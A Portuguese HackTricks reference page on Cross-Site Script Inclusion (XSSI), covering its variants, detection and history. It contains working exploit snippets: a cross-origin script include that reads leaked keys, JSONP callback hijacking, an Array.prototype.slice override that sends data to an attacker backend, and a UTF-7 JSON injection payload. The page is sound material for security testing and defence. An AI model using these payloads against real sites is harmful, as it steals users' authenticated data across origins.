XSSI (Cross-Site Script Inclusion)

Support HackTricks

Informações Básicas

Cross-Site Script Inclusion (XSSI) é uma vulnerabilidade que surge da natureza da tag script em HTML. Ao contrário da maioria dos recursos, que estão sujeitos à Same-Origin Policy (SOP), scripts podem ser incluídos de diferentes domínios. Esse comportamento é destinado a facilitar o uso de bibliotecas e outros recursos hospedados em servidores diferentes, mas também introduz um potencial risco de segurança.

Características Principais do XSSI:

  • Bypass do SOP: Scripts estão isentos da Same-Origin Policy, permitindo que sejam incluídos entre domínios.

  • Exposição de Dados: Um atacante pode explorar esse comportamento para ler dados carregados via tag script.

  • Impacto em JavaScript Dinâmico/JSONP: XSSI é particularmente relevante para JavaScript dinâmico ou JSON com Padding (JSONP). Essas tecnologias frequentemente usam informações de "autoridade-ambiental" (como cookies) para autenticação. Quando uma solicitação de script é feita para um host diferente, essas credenciais (por exemplo, cookies) são automaticamente incluídas na solicitação.

  • Vazamento de Token de Autenticação: Se um atacante conseguir enganar o navegador de um usuário para solicitar um script de um servidor que ele controla, pode ser capaz de acessar informações sensíveis contidas nessas solicitações.

Tipos

  1. JavaScript Estático - Esta representa a forma convencional de XSSI.

  2. JavaScript Estático com Autenticação - Este tipo é distinto porque requer autenticação para acesso.

  3. JavaScript Dinâmico - Envolve JavaScript que gera conteúdo dinamicamente.

  4. Não-JavaScript - Refere-se a vulnerabilidades que não envolvem JavaScript diretamente.

As seguintes informações são um resumo de https://www.scip.ch/en/?labs.20160414. Confira para mais detalhes.

XSSI Regular

Nesta abordagem, informações privadas são incorporadas dentro de um arquivo JavaScript acessível globalmente. Os atacantes podem identificar esses arquivos usando métodos como leitura de arquivos, buscas por palavras-chave ou expressões regulares. Uma vez localizados, o script contendo informações privadas pode ser incluído em conteúdo malicioso, permitindo acesso não autorizado a dados sensíveis. Uma técnica de exploração de exemplo é mostrada abaixo:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI e Authenticated-JavaScript-XSSI

Esses tipos de ataques XSSI envolvem informações confidenciais sendo adicionadas dinamicamente ao script em resposta a uma solicitação do usuário. A detecção pode ser realizada enviando solicitações com e sem cookies e comparando as respostas. Se as informações diferirem, isso pode indicar a presença de informações confidenciais. Esse processo pode ser automatizado usando ferramentas como a extensão Burp DetectDynamicJS.

Se dados confidenciais estiverem armazenados em uma variável global, eles podem ser explorados usando métodos semelhantes aos usados no XSSI Regular. No entanto, se os dados confidenciais estiverem incluídos em uma resposta JSONP, os atacantes podem sequestrar a função de callback para recuperar as informações. Isso pode ser feito manipulando objetos globais ou configurando uma função para ser executada pela resposta JSONP, conforme demonstrado abaixo:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Para variáveis que não residem no namespace global, prototype tampering pode às vezes ser explorado. Esta técnica aproveita o design do JavaScript, onde a interpretação do código envolve percorrer a cadeia de protótipos para localizar a propriedade chamada. Ao substituir certas funções, como o slice de Array, os atacantes podem acessar e vazar variáveis não globais:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Mais detalhes sobre vetores de ataque podem ser encontrados no trabalho do Pesquisador de Segurança Sebastian Lekies, que mantém uma lista de vetores.

Non-Script-XSSI

A pesquisa de Takeshi Terada introduz outra forma de XSSI, onde arquivos Non-Script, como CSV, são vazados cross-origin ao serem incluídos como fontes em uma tag script. Instâncias históricas de XSSI, como o ataque de Jeremiah Grossman em 2006 para ler um catálogo de endereços completo do Google e o vazamento de dados JSON de Joe Walker em 2007, destacam a gravidade dessas ameaças. Além disso, Gareth Heyes descreve uma variante de ataque envolvendo JSON codificado em UTF-7 para escapar do formato JSON e executar scripts, eficaz em certos navegadores:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Suporte ao HackTricks

Last updated